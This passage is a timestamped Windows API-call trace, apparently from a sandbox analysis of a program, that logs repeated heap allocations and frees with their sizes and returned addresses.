[0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 